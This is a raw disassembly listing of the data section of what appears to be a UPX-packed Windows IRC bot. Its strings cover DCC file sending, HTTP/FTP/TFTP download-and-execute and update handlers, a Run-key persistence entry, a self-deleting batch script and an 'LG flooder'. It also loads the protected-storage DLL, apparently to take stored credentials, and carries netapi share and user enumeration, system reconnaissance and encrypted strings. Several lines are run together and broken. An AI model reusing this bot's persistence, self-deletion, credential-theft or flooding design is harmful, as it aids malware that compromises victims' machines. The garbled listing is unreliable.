		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h						; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69hdword_4184C0	dd 7075202Ch, 69746164h, 676Ehunk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ahdword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0						; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775haModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h	dword_418A1C	dd 0C6AEB58Eh, 0A6BBB6FEh, 93D8D8A7h, 0E3h, 0dword_418A30	dd 2E3031h	dword_418A34	dd 2E323931h, 2E383631h, 0dword_418A40	dd 2E323731h, 0	dword_418A48	dd 2E373231h, 0	dword_418A50	dd 252E7525h, 75252E75h, 75252Eh					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah	dword_418A60	dd 7525h						; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; UPX1:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365hdword_418B54	dd 58323025h, 0						; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0						; sub_40A9CF+1C12o
dword_418B64	dd 7325h						; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset dword_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset dword_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset loc_418C9C
		dd offset aKZdzvlUU	; "Γ"
		dd offset aKZdJssgEudaFts ; "葃ԥÔ☘"
		dd offset dword_418C5C
		dd offset aKZdJssgEudaFts ; "葃ԥÔ☘"
		dd offset dword_418C4C
		dd offset aIdbLsRLtuiGiXu ; "۶Ë➉塀Ŝ"
		dd offset byte_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 9ABAABB4h, 0AEBBA7A7h, 98FFD6B6h, 0C89BB2E3h, 0ADF9B69Ch
					; DATA XREF: UPX1:00418BE4o
		dd 0A7B8A4B0h, 0C493B0h, 0
byte_418C10	db 90h			; DATA XREF: UPX1:00418BE0o
		db 0A7h, 0A1h, 98h
		dd 0ADA6BBA4h, 93CE93ECh, 2 dup(0)
aIdbLsRLtuiGiXu	db '۶Ë➉塀Ŝ',0 ; DATA XREF: UPX1:00418BDCo
		align 4
		dd 0
dword_418C4C	dd 9BBEAE98h, 0ADACB1E6h, 2 dup(0)dword_418C5C	dd 87B6B28Ah, 0E6A2A781h, 0D38EA7h, 0aKZdJssgEudaFts	db '葃ԥÔ☘',0 ; DATA XREF: UPX1:00418BCCo
					; UPX1:00418BD4o
		align 8
aKZdzvlUU	db 'Γ',0     ; DATA XREF: UPX1:00418BC8o
		align 4
		dd 0
; ---------------------------------------------------------------------------


loc_418C9C:				; DATA XREF: UPX1:00418BC4o
		scasb
		stosd
		mov	bh, 8Ch
		cmpsd
		mov	ds:938CE8A7h, eax
		retn	0F881h
; ---------------------------------------------------------------------------
		db 0A5h, 82h, 86h
		dd 8DABABBFh, 0A4B8B5BFh, 2 dup(0)
dword_418CBC	dd 8DABAB9Fh, 0A4B8B5BFh, 93CE93ECh, 2 dup(0)dword_418CD0	dd 89B7ABAEh, 89F4A4A5h, 82D893A5h, 2 dup(0)dword_418CE4	dd 89B7AB8Eh, 0ADFAA4A5h, 93BAh, 0dword_418CF4	dd 8CB7ABAEh, 0E8A7A3A7h, 9AC68E87h, 0D48CA5F8h, 2 dup(0)
					; DATA XREF: UPX1:00418BB4o
dword_418D0C	dd 84A9BA9Ch, 0BAB1A6A7h, 93CE93ECh, 2 dup(0)dword_418D20	dd 0A1B7AB8Eh, 0A6BBB3A7h, 93CE93ECh, 2	dup(0)dword_418D34	dd 8CB7ABAEh, 0E8A7A3A7h, 99D1998Eh, 0D6A8F7F9h, 8BB0AE89h
					; DATA XREF: UPX1:00418BA4o
					; UPX1:00418BACo
		dd 0A7BDA0A9h, 0ACh, 0
dword_418D54	dd 87BEAD95h, 0B0B1FAA6h, 0A7h,	0dword_418D64	dd 8DB0AEBAh, 9BF4A0A6h, 93C084A7h, 0D3BBF7E5h,	85B0B697h
					; DATA XREF: UPX1:00418B9Co
		dd 0BA84F4ADh, 85D395ADh, 0E4h,	0
dword_418D88	dd 9BABB19Ah, 0ADACB1E6h, 2 dup(0)dword_418D98	dd 9BB8B1B0h, 0B0B1FABBh, 0A7h,	0dword_418DA8	dd 89BAADB5h, 0AD87F4A4h, 9FC483A1h, 0E7C9AEE3h, 87B1B68Ch
					; DATA XREF: UPX1:off_418B8Co
					; UPX1:00418B94o
		dd 0B1A0BDBAh, 84D3A5E2h, 0C38ABEE1h, 2	dup(0)
dword_418DD0	dd 89AAB195h, 0B0B1FABBh, 0A7h,	0dword_418DE0	dd 293Ah	dword_418DE4	dd 5Ch							; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65haSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64hdword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h							; sub_407928+96o ...
dword_418F50	dd 30h							; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh					; sub_40806A+BDo
dword_418F60	dd 0C6B7B194h, 0B9BBABh, 0dword_418F6C	dd 0C6AEB58Eh, 0BAA6B1BCh, 99D5D8A3h, 0D48BF9FAh, 2 dup(0)
					; DATA XREF: sub_408887+14o
dword_418F84	dd 0C6B7B194h, 0B1ACh, 0dword_418F90	dd 85ACA39Dh, 0BCB1BAE6h, 2 dup(0)dword_418FA0	dd 8FB6AD9Eh, 0A9FAB1A4h, 0A7h,	0dword_418FB0	dd 8DB7AB97h, 0E6BAA7A5h, 0D8DB99A1h, 0A2F6h, 0off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 86AEAD9Dh, 0ACB5BBA4h, 9BD791ECh, 0DFC7A4F2h, 87B6AA98h
					; DATA XREF: UPX1:00418FD8o
		dd 0A5BBB7E6h, 9BD791EDh, 0C2C6A4F2h, 84B7B596h, 0E7B0B5A7h
		dd 98D19FB1h, 0D6C6B3F2h, 89BAB296h, 0A9ADFBB8h, 0A9D999AAh
		dd 0C383B2F5h, 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0C391B2B9h
		dd 2 dup(0)
dword_41903C	dd 8FF7B18Ch, 0BBB1B9A9h, 9FCFD8F3h, 0C5C7B0FAh, 0AF96h
					; DATA XREF: UPX1:00418FD4o
		dd 0
dword_419054	dd 86AEAD9Dh, 0ACB5BBA4h, 0C799C5EDh, 95C6B1B8h, 0D9EDA4C8h
					; DATA XREF: UPX1:00418FD0o
		dd 0E5E3E6FCh, 9382C6FAh, 0C0D1E3BAh, 8BE1EFC0h, 0FDF9ECF9h
		dd 0CFD2C7A3h, 9EDCB5A4h, 0C7BCF1CCh, 0BBB5A7A5h, 0D8D598BBh
		dd 8CAFF2h, 0
dword_419098	dd 86AEAD9Dh, 0ACB5BBA4h, 95DF9BECh, 0C99AB8E5h, 8BF7B69Fh
					; DATA XREF: UPX1:00418FCCo
		dd 0B9A7h, 0
dword_4190B4	dd 89ADA39Dh, 0E7BAB1E7h, 0D9D19FA0h, 0D49BA2F4h, 0C7ADAC9Ch
					; DATA XREF: UPX1:off_418FC8o
		dd 0AFBBBB8Fh, 99E293AEh, 0C78BBBF8h, 9BB78B8Bh, 0A4B8B5BCh
		dd 939884A7h, 0B2EFh, 0
dword_4190E8	dd 84B6AD8Dh, 0E6A6B5AAh, 91D999A5h, 0C5C7B2FBh, 0AF96h
					; DATA XREF: UPX1:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h							; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h						; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh						; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775haBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0dword_4194CC	dd 3430032Dh, 2037802haNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h		dword_419660	dd 0A0D7325h, 0	dword_419668	dd 3334h	dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 81B6AA8Eh, 0BAB5FABBh, 989898ABh, 0A3F2h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 29F60h			align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
